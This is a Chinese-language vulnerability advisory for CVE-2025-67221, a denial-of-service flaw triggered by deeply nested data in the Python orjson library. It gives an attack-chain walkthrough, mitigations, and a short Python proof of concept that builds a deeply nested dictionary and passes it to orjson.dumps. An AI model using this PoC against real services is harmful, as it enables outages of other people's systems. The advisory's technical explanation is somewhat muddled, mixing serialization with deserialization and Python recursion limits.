IPBUF安全漏洞报告
English
CVE-2025-67221 CVSS 7.5 高危

CVE-2025-67221 orjson深度嵌套JSON递归溢出拒绝服务漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-67221
漏洞类型
拒绝服务/递归溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
orjson

相关标签

拒绝服务递归溢出栈溢出orjsonPythonJSON序列化CVE-2025-67221高危漏洞

漏洞概述

CVE-2025-67221是Python orjson库中的一个高危拒绝服务漏洞。orjson是一个高性能的JSON序列化/反序列化库,被广泛应用于Python生态系统中的数据处理、API开发、日志系统等场景。该漏洞存在于orjson.dumps函数的深度嵌套JSON文档处理逻辑中,由于未对递归深度进行合理限制,攻击者可以通过构造极端深度的嵌套JSON结构来触发栈溢出,从而导致应用程序崩溃或服务中断。攻击者无需任何认证或用户交互即可发起攻击,只需向目标服务提交特制的恶意JSON数据即可。该漏洞影响orjson 3.11.4及之前所有版本,由于orjson常用于Web服务、API网关、数据管道等关键基础设施,漏洞被利用可能造成严重的业务中断风险。

技术细节

orjson.dumps函数在序列化JSON数据时采用递归算法处理嵌套结构。当遇到嵌套的字典或列表时,函数会递归调用自身来逐层处理每一层嵌套。正常情况下,这种递归实现能够高效地处理合理深度的JSON结构。然而,orjson 3.11.4及之前版本未实现递归深度限制机制,导致攻击者可以构造具有数百甚至数千层嵌套的JSON文档。攻击者通过向使用orjson处理JSON的服务提交此类恶意数据,触发深层递归调用。由于Python的调用栈空间有限,过深的递归会导致栈溢出(Stack Overflow),最终造成Python进程崩溃。这种攻击具有无感知性、低成本、高破坏力的特点,攻击者只需发送一个精心构造的HTTP请求即可实现拒绝服务效果。防御者需要在应用层或库层面实现递归深度检测和限制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用orjson库处理JSON数据
STEP 2
步骤2: 构造恶意载荷
攻击者构造极端深度的嵌套JSON文档(数百至数千层)
STEP 3
步骤3: 发送攻击请求
通过API接口、文件上传或其他JSON输入点向目标服务提交恶意JSON数据
STEP 4
步骤4: 触发递归溢出
orjson.dumps处理深层嵌套JSON时触发过深递归调用,导致栈溢出
STEP 5
步骤5: 服务崩溃
Python进程因栈溢出崩溃或进入不可恢复状态,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import orjson import sys # PoC for CVE-2025-67221: Deep nested JSON recursion overflow # This PoC demonstrates the vulnerability by creating a deeply nested JSON structure def create_deeply_nested_json(depth): """Create a deeply nested JSON structure""" obj = {} current = obj for i in range(depth): current['nested'] = {} current = current['nested'] current['value'] = 'trigger' return obj def test_recursion_overflow(depth=1000): """Test orjson with deeply nested JSON""" print(f"[*] Testing orjson with depth={depth}") nested_json = create_deeply_nested_json(depth) try: # This may cause stack overflow or hang depending on depth result = orjson.dumps(nested_json) print(f"[!] Serialization succeeded (depth may not be sufficient)") except RecursionError: print(f"[!] RecursionError detected - vulnerability confirmed") except Exception as e: print(f"[!] Exception: {type(e).__name__} - {e}") if __name__ == "__main__": depth = int(sys.argv[1]) if len(sys.argv) > 1 else 500 test_recursion_overflow(depth)

影响范围

orjson < 3.11.5

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1) 升级orjson到3.11.5或更新版本;2) 在JSON反序列化前检查嵌套深度,可使用简单的递归函数统计max_depth;3) 设置合理的JSON大小限制(如最大10MB);4) 在API网关层实现请求体验证,拒绝嵌套深度超过100层的请求;5) 考虑使用替代的JSON库如ujson作为临时方案,但需评估性能影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表